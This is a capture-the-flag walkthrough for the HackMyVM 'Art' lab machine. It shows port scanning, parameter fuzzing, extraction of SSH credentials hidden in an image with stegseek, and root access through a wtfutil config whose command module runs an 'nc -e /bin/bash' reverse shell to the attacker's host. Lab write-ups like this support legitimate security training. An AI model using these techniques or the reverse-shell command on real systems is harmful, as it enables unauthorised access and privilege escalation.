

HackmyVM - Art

Art

Creator sml

Level: Easy


Release Date: 2022-08-04

MD5: 1b7829cc4994b516535fecac0bcd670f

Stats
#48
48
12

1st Root
 fg0x0
0 day 00:29:02

1st User
 fg0x0
0 day 00:26:27



Hack and Fun.

Lets start with the usual nmap scan

```
sudo nmap -sC -sV -p- -oA nmap/art target
```

```
(kali@kali)-[~/hmv/art]
$ sudo nmap -sC -sV -p- -oA nmap/art target
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-02 22:02 CDT
Nmap scan report for target (10.0.2.18)
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|_ 3072 45:42:0f:13:cc:8e:49:dd:ec:f5:bb:0f:58:f4:ef:47 (RSA)
|_ 256 12:2f:a3:63:c2:73:99:e3:f8:67:57:ab:29:52:aa:06 (ECDSA)
|_ 256 f8:79:7a:b1:a8:7e:e9:97:25:c3:40:4a:0c:2f:5e:69 (ED25519)
80/tcp    open  http      nginx 1.18.0
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-server-header: nginx/1.18.0
MAC Address: 08:00:27:70:27:DA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds
zsh: segmentation fault sudo nmap -sC -sV -p- -oA nmap/art target
```

What a fancy website! Here's what's in the source code. Maybe it's a hint for the future

```
1 SEE HMV GALLERY!
2 <br>
3 <img src=abc321.jpg><br><img src=jlk19990.jpg><br><img src=ertye.jpg><br><img src=zzxxccvv3.jpg><br>
4 <!-- Need to solve tag parameter problem. -->
5
```

Lets see if there are any directories.

```
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,jpg,xml
```

```
(kali㉿kali)-[~/hmv/art]
└─$ gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,jpg,xml

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://target
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,php,txt,jpg,xml
[+] Timeout: 10s

2022/10/02 22:05:27 Starting gobuster in directory enumeration mode

/index.php (Status: 200) [Size: 170]

2022/10/02 22:06:56 Finished
```


Hmm... doesn't look like there is anything, unless I missed an extension. Lets try fuzzing the website to see if this tag parameter problem leads to a vulnerability.

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://target/index.php?FUZZ=id -fs 170
```

```

(kali㉿kali)-[~/hmv/art]
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://target/index.php?FUZZ=id -fs 170

```



```

v1.5.0 Kali Exclusive <3

```

```

:: Method      : GET
:: URL         : http://target/index.php?FUZZ=id
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter      : Response size: 170

```

```

tag [Status: 200, Size: 70, Words: 11, Lines: 5, Duration: 5ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

```

Cool! Lets see what it does.

```

1 SEE HVM GALLERY!
2 <br>
3
4 <!-- Need to solve tag parameter problem. -->
5

```

Hmmm... doesn't appear to do much. Maybe we can fuzz the parameter to see if we get any different results.

```


ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://target/index.php?tag=FUZZ -fs 70

```

```

(kali㉿kali)-[~/hmv/art]
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://target/index.php?tag=FUZZ -fs 70

```



```

v1.5.0 Kali Exclusive <3

```

```

:: Method      : GET
:: URL         : http://target/index.php?tag=FUZZ
:: Wordlist     : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout     : 10
:: Threads    : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter      : Response size: 70

```

```

0 [Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 13ms]
beauty [Status: 200, Size: 93, Words: 12, Lines: 5, Duration: 12ms]
beautiful [Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 12ms]
:: Progress: [107982/107982] :: Job [1/1] :: 3155 req/sec :: Duration: [0:00:35] :: Errors: 0 ::

```

Lets see where these take us. It looks like '0' and 'beautiful' show us what we've already seen, but 'beauty' shows an image that we haven't seen before. Maybe there is something in this image?

```

curl http://target/dsa32.jpg -o goat.jpg
stegseek goat.jpg

```

```

(kali㉿kali)-[~/hmv/art]
$ stegseek goat.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "yes.txt".
[i] Extracting to "goat.jpg.out".

```

Looks like we got something! Let's take a look.

```

(kali㉿kali)-[~/hmv/art]
$ cat goat.jpg.out
lion/shel0vesyou

```

Login creds? Let's try SSH.

```
(kali㉿kali)-[~/hmv/art]
└─$ ssh lion@target
The authenticity of host 'target (10.0.2.18)' can't be established.
ED25519 key fingerprint is SHA256:6icD/Bw7zNCkO/tjgVhzyYMGZkZVKkOvOlPNVvcBQo0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'target' (ED25519) to the list of known hosts.
lion@target's password:
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug  3 11:18:18 2022 from 192.168.1.51
lion@art:~$
```

Awesome! And we got a user flag! Let's see what else we can do :P

Looks like we can run /bin/wtfutil as root, but this doesn't look like a standard binary file.

Further research leads me to believe it's a program written in Golang that is a nifty information terminal. Let's take a look at the source code and see if we can find anything interesting.

So, after digging around for some time, and looking at the terminal that wtfutil generates, it appears that it can run commands. Let's see if we can offer ourselves a shell using one of these command areas. We can pick a place to run the config from

```
lion@art:/tmp$ wtfutil -h
Usage:
  wtfutil [OPTIONS] [command] [args ... ]

Application Options:
  -c, --config= Path to config file
  -m, --module= Display info about a specific module, i.e.: 'wtfutil -m=todo'
  -p, --profile Profile application memory usage
  -v, --version Show version info

Help Options:
  -h, --help Show this help message

Commands:
  save-secret <service>
    service      Service URL or module name of secret.
  Save a secret into the secret store. The secret will be prompted for.
  Requires wtf.secretStore to be configured. See individual modules for
  information on what service and secret means for their configuration,
  not all modules use secrets.
```

We are going to put our arguments into the 'uptime' module. We'll use a simple netcat reverse shell.

Let's stand up our listener and see if it works!

```
    left: 2
    height: 1
    width: 1
refreshInterval: 15
title: "s"
textfile:
enabled: true
filePath: "~/.config/wtf/config.yml"
format: true
position:
  top: 0
  left: 0
  height: 4
  width: 1
refreshInterval: 30
wrapText: false
pwned:
args: ["-e", "/bin/bash", "10.0.2.15", "1234"]
cmd: "nc"
enabled: true
position:
  top: 3
  left: 1
  height: 1
  width: 2
refreshInterval: 30
type: cmdrunner
```

Bingo-bango-bongo! We've got root! But a new problem has arisen: the root.txt isn't where it normally is. I'll leave the rest to you to find it ;)

```
(kali㉿kali)-[~/hmv/art/wtf_0.41.0_linux_amd64]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.18] 37562
whoami
root
id
uid=0(root) gid=0(root) grupos=0(root)
```